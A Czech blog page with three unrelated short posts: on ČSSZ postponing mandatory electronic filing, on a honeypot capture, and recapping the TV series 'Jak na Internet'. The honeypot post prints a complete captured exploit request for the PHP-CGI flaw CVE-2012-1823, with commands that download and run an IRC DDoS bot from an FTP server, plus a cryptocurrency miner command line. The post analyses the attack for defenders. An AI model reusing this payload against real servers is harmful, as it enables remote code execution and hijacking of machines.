Česká správa sociálního zabezpečení (ČSSZ) plánovala, že s úderem Nového roku bude od podnikatelů přijímat jednotlivé formuláře (např. evidenční listy důchodového pojištění či přehled o příjmech OSVČ) pouze elektronicky.

První, kdo se této změně přinášející ve většině případů nutnost založení datové schránky začal bránit, byli lékaři, kteří si vymohli odklad zasílání elektronických neschopenek o dva roky, tedy až od 1. ledna 2016. Po lékařích následovali živnostníci (OSVČ), kteří dostali roční výjimku. Dlouho se však zdálo, že zaměstnavatelé této povinnosti neuniknou. Nakonec se ale těsně před začátkem nového roku ČSSZ rozhodla odložit povinnost zasílání elektronických formulářů (např. ELDP – evidenčních listů důchodového pojištění, přehledů o výši pojistného či oznámení o nástupu do zaměstnání) i pro ně.

Pro některé však radost z osvobození od povinných elektronických podání může být předčasná. Kdo povinnosti (jak se alespoň nyní zdá :) neunikne, jsou plátci DPH s obratem vyšším než 6 mil. Kč. Toto podání půjde podat jak prostřednictvím datové schránky, tak daňového portálu.

Pro ty, které již nebaví sledovat všechny změny v datových schránkách a naopak se chtějí dozvědět o něco (hodně) více, než se dočtou v diskuzích na webu, je určen Ministerstvem vnitra akreditovaný kurz „Datové schránky“, který vede přední český odborník Jiří Peterka.

Jiří Průša

Mezi honeypoty, které sdružení CZ.NIC provozuje, patří i honeypot Glastopf. Ten simuluje webovou aplikaci a zaznamenává pokusy o útoky na ni. Předminulý týden jsem na něm narazil na tento HTTP požadavek:

POST //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F
%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E
%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63
%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65
+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69
%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+
%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30
+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F
%69%6E%70%75%74+%2D%6E HTTP/1.1
Content-Length: 264
Content-Type: application/x-www-form-urlencoded
Host: -h

<? system("killall -9 perl;
killall -9 php;
cd /tmp;
wget ftp://199.71.214.66/bko -O /tmp/bko;
curl -O ftp://199.71.214.66/bko -O /tmp/bko;
fetch -U ftp://199.71.214.66/bko -O /tmp/bko;
lwp-download ftp://199.71.214.66/bko -O /tmp/bko;
perl /tmp/bko;
rm -rf /mpbko*"); ?>

Když dekódujeme query string, získáme toto (zformátováno):

-d+allow_url_include=on
+-d+safe_mode=off
+-d+suhosin.simulation=on
+-d+disable_functions=""
+-d+open_basedir=none
+-d+auto_prepend_file=php://input
+-d+cgi.force_redirect=0
+-d+cgi.redirect_status_env=0
+-d+auto_prepend_file=php://input
+-n

Jedná se o zneužití zranitelnosti PHP označené CVE-2012-1823 a její nekompletní opravy CVE-2012-2311, které cílí na verze nižší než 5.4.3 nebo 5.3.13 a prostředí, kde se PHP používá v konfiguraci CGI. Ve stručnosti je problém v neošetřeném případu, kdy v query stringu chybí znak „=“ a výše uvedené parametry se předávají při spuštění PHP (jejich částečné vysvětlení je například zde). Tělo tohoto požadavku je PHP skript s voláním funkce system, která spustí zadané příkazy s oprávněním, pod kterým běží web server.

Jakmile už má útočník možnost spouštět libovolné příkazy, následuje obvyklý scénář: stáhnout a spustit připravené soubory, v tomto případě IRC klienta DDoS Perl IrcBot 1.0. Zde končí informace, které nám dal honeypot. Další postup se dá ale odhadnout, když se podíváme, jaké další soubory jsou na použitém ftp serveru: mimo jiné dva binární soubory – 32 a 64bitová verze mineru cpuminer pro virtuální měnu Litecoin a instalační skript, který zajistí jeho spouštění přes crontab. Pokud někdo netuší, co jsou minery, tak se jedná o programy, kterými lze tzv. dolovat virtuální měny pomocí výpočtu složitých matematických úloh. V samotném spuštění mineru lze přečíst i přihlašovací údaje daného uživatele:

m64 -o stratum+tcp://hk.wemineltc.com:3333 -O judge.1:x -B

Jak je patrné minimálně z tohoto dotazu na stackoverflow.com, stejnou konfiguraci používal útočník již v říjnu. Že je dolování virtuálních měn novou možností pro hackery jak zhodnotit své útoky, o tom svědčí i tato zpráva Avastu z letošního srpna. V tomto případě se jednalo pro změnu u útok na Windows a dolovaly se Bitcoiny.

Jiří Machálek

Letošní sezóna seriálu Jak na Internet je za námi, přichází tedy na řadu její stručná rekapitulace doplněná ohlédnutím za sezónou 2012. V sezónách 2012 a 2013 bylo zprodukováno 85 epizod, jejichž celková sledovanost na ČT1 v primetime přesáhla 36 miliónů diváků.

Letos jsme vyrobili a odvysílali 45 nových dílů. Při výběru témat jsme se zaměřili na zcela nové oblasti, jako např. start-upy, typy souborů, 3D tisk nebo správa a řízení Internetu, ale také na prohloubení témat loňské série, ke kterým letos přidáváme konkrétní tipy a doporučení, jak na to. Příkladem je třeba díl „78. Autorský zákon na Internetu“ navazující na loňský díl „12. Autorská práva“, nebo „82. Jak začít blogovat“ navazující na díl „11. Publikování na Internetu“.

Za zmínku také stojí porovnání sledovanosti obou sezón. Zatímco vloni byla průměrná sledovanost jednoho dílu 356 tis. diváků, letos jsme zaznamenali nárůst více než o třetinu, tedy průměrně 483 tis. diváků na jeden díl. Divácká maxima přitom stoupla z loňských 521 tis. na letošních 735 tis. Ve skladbě sezóny 2013 lehce převažují ženy, přitom 73 % diváků je starších 45 let. V sezóně 2012 naopak nepatrně převažovalo mužské publikum při 72% poměru diváků starších 45 let. Již zmiňovaných 36 miliónů diváků obou sezón je rozloženo na 21,7 mil. letos a 14,3 mil. vloni.

Po celou dobu vysílání na ČT probíhala aktivní komunikace na facebookové stránce seriálu v podobě tipovacích a vědomostních soutěží, při nichž bylo soutěžícím rozděleno více než 100 nejrůznějších odměn a dárků.

Ondřej Písek